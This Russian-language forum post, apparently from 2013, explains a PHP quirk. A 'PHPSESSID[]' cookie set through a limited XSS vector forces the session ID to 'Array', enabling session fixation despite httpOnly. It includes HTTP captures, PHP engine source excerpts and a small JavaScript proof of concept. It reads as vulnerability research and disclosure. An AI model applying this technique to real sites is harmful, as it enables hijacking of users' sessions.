Не часто, но встречаются ситуации с сайтами на PHP, которые подпадают под условия:
* session.cookie_httponly=On
* XSS вектор, который позволяет присвоить значение какой либо переменной
* отсутствие session_regenerate_id(true)
В таком случае, можно замутить фиксацию сессии в обход флажка httpOnly, используя одну особенность PHP. Суть заключается в том, что в PHP нельзя перетиреть значения кук (иначе достаточно было бы добавить куку "PHPSESSID%00=any"), т.е. отправив запрос с печеньками "foo=bar; foo=baz;", в foo будет храниться bar. Если только это не массив, т.е. переданный в куках массив легко перетирает предыдущее скалярное значение (в php_register_variable_ex проверка только для plain_var):
Код:
$ http -v http://php-dharrya.rhcloud.com/echo_cookies.php 'Cookie: foo=bar; foo=baz;'
GET /echo_cookies.php HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, compress
Cookie: foo=bar; foo=baz;
Host: php-dharrya.rhcloud.com
User-Agent: HTTPie/0.7.2
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Length: 45
Content-Type: text/html
Date: Wed, 11 Dec 2013 08:26:44 GMT
Server: Apache/2.2.22 (Red Hat Enterprise Web Server)
Vary: Accept-Encoding
Array
(
[foo] => bar
)
$ http -v http://php-dharrya.rhcloud.com/echo_cookies.php 'Cookie: foo=bar; foo[]=baz; foo=some;'
GET /echo_cookies.php HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, compress
Cookie: foo=bar; foo[]=baz; foo=some;
Host: php-dharrya.rhcloud.com
User-Agent: HTTPie/0.7.2
HTTP/1.1 200 OK
Content-Encoding: gzip
Content-Length: 62
Content-Type: text/html
Date: Wed, 11 Dec 2013 08:28:01 GMT
Server: Apache/2.2.22 (Red Hat Enterprise Web Server)
Vary: Accept-Encoding
Array
(
[foo] => Array
(
[0] => baz
)
)
А если заглянуть в php_session_start то можно увидеть приведение типа к строке:
Код:
lensess = strlen(PS(session_name));
/* Cookies are preferred, because initially
* cookie and get variables will be available. */
if (!PS(id)) {
if (PS(use_cookies) && zend_hash_find(&EG(symbol_table), "_COOKIE", sizeof("_COOKIE"), (void **) &data) == SUCCESS &&
Z_TYPE_PP(data) == IS_ARRAY &&
zend_hash_find(Z_ARRVAL_PP(data), PS(session_name), lensess + 1, (void **) &ppid) == SUCCESS
) {
PPID2SID;
PS(apply_trans_sid) = 0;
PS(send_cookie) = 0;
PS(define_sid) = 0;
}
Код:
#define PPID2SID \
convert_to_string((*ppid)); \
PS(id) = estrndup(Z_STRVAL_PP(ppid), Z_STRLEN_PP(ppid))
Получается, если передать печеньки "PHPSESSID=_some_hash_; PHPSESSID[]=whatever;", то значение id сессии будет "Array" (по честному сгенерив нотис). А значит мы успешно можем произвести фиксацию сессии имея очень ограниченный XSS вектор, т.к. для браузеров куки с именами PHPSESSID и PHPSESSID[] - две абсолютно разные куки, каждая со своими ограничениями

Небольшой
PoC (можно поиграть на
http://php-dharrya.rhcloud.com/httponly.php):
PHP код:
<?php
ini_set('session.cookie_httponly', true);
session_start();
?>
<html>
<body>
<div>Current session_id: <?=session_id()?></div>
<div>Try to refresh;-)</div>
<script>
function printCookies(cookies, title) {
var cookieElem = document.createElement('div');
cookieElem.textContent = title + ' cookies: ' + (cookies || 'Empty');
document.body.appendChild(cookieElem);
}
printCookies(document.cookie, 'Current');
document.cookie = '<?=session_name()?>[]=any; path=/; expires=1 Jan 2038 00:00:00 GMT';
printCookies(document.cookie, 'Modified');
</script>
</body>
</html>
P.S. Не знаю насколько эта тема известна, ранее не встречал посему решил осветить на всякий случай.